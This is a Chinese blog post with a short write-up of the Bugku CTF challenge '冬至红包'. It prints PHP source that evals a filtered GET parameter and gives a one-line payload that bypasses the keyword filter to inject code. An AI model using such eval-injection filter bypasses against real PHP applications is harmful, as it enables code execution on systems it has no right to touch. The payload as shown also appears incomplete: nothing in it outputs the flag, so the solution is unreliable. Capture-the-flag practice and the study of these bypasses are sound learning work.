首页 > 其他分享 >Bugku-冬至红包

Bugku-冬至红包

时间:2023-08-29 16:44:06浏览次数:33  
标签:__ 红包 Bugku GET else flag 冬至 echo strlen

images
这个题目的考察的还是代码审计,还有eval函数的利用,当然还有对过滤这些因素的审查。

代码块就直接放下面了:先刷题,改天再回过来看。

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }

    echo '<hr>';

    highlight_file(__FILE__);

payload:?flag=$a=blag;$a{0}=f;111231231231231231111;?>

打开网页需要代码审计

images

images

标签:__,红包,Bugku,GET,else,flag,冬至,echo,strlen
From: https://www.cnblogs.com/KAKSKY/p/17665257.html

相关文章

  • BUGKU
    初入Python,看到很多大佬都是通过写脚本的方式获取到FLAG,因为抓到的包的response里falg一直会变。这里呈上大佬的Python脚本。顺便学习,把函数的用法记下,方便日后自己的学习。pyjin1#!/usr/bin/envpython3blacklist=["/","0","1","2","3","4","5","6",&q......
  • 红包看广告赚钱app开发源码
      经常玩手机的人都看到过,手机app软件上都有开屏的广告,这种广告是收费的。也是软件平台盈利的一种模式,为了让用户实现更大化的盈利,平台商可以把软件上的收费模式增加更多。因为有市场才会出现这么多人进来参与这个项目,本文就以看广告开红包赚钱的app为例,看看这款app软件的模式......
  • BUGKU逆向reverse 1-8题
    练习IDA两年半打开尘封已久的bugku,从题目中练习使用,现在都已经是新版本了orz入门逆向运行baby.exe将解压后的baby.exe拖到IDA里面主函数中找到mov指令可以看到这里就是flagflag{Re_1s_S0_C0OL}signin下载附件解压之后是sign_in.apk,Android逆向我不会啊orz丢到AndroidKil......
  • 箱讯【货运险】上线!费率低至0.03%,投保即返现金红包
    相比传统线下高达万分之六、万分之八、千分之一的货运保险费率,【箱讯货运险】在线投保费率仅需万分之三!线下货运险投保流程复杂,手续繁琐,进度缓慢,耗费太多时间和精力!另外,费率高,还容易出现保单延迟,无法赔付的情况。箱讯AnyCase【货运保险】在线投保服务正式上线啦!携手四大知名保险公......
  • CTFer成长记录——CTF之Web专题·bugku—never_give_up
    一、题目链接https://ctf.bugku.com/challenges/detail/id/88.html二、解法步骤  打开网页,url中看到id=1,修改成2、3、4发现无反应。然后查看网页源代码:,提示一个网址,直接访问看看:发现url跳转到了bugku的论坛:    BP抓1p.html网页的包,在返回包中发现一串密文:  --JTI......
  • 抢红包小程序
    抢红包小程序红包大战#urls.pyfromdjango.urlsimportpathfrom.importviewsurlpatterns=[path('login/',views.login,name='login'),path('create_red_packet/',views.create_red_packet,name='create_red_packet'......
  • 微信抢红包代码在手机上可以使用的
    在手机上使用微信抢红包代码,可以通过以下步骤实现:打开手机的应用商店,搜索并下载一个支持Lua编程语言的代码编辑器,比如"LuaEdit"、"ZeroBraneStudio"等。在编辑器中创建一个新的Lua脚本文件,并将以下代码复制粘贴到文件中:functionclick(x,y)touchDown(0,x,y)mSl......
  • 微信抢红包操作步骤及需要安装软件的步骤
    微信抢红包操作步骤:打开微信,进入聊天窗口。在聊天窗口中,如果有红包消息会显示“红包”字样,点击这条消息。在红包界面,点击“抢红包”按钮。如果是口令红包,需要输入正确的口令才能打开红包。打开红包后会显示红包金额,点击“开”即可领取红包。返回到聊天窗口或者退出微信。......
  • 微信红包封面,2021年为啥突然火了?
    我是架构精进之路,点击上方“关注”,坚持每天为你分享技术干货,私信我回复“01”,送你一份程序员成长进阶大礼包。  最近一段时间起,各种渠道都是领微信红包封面的活动,我也参与了几次红包封面的领取。只不过好多次都是提示:“手慢了,红包封面派完了。”让人们不禁感叹道:“抢红包要拼手速......
  • bugku_文件上传_wp
    bugku_文件上传payload点击查看payloadPOST/index.phpHTTP/1.1Host:114.67.175.224:16103Content-Length:308Cache-Control:max-age=0Upgrade-Insecure-Requests:1Origin:http://114.67.175.224:16103Content-Type:Multipart/form-data;boundary=----WebKitFo......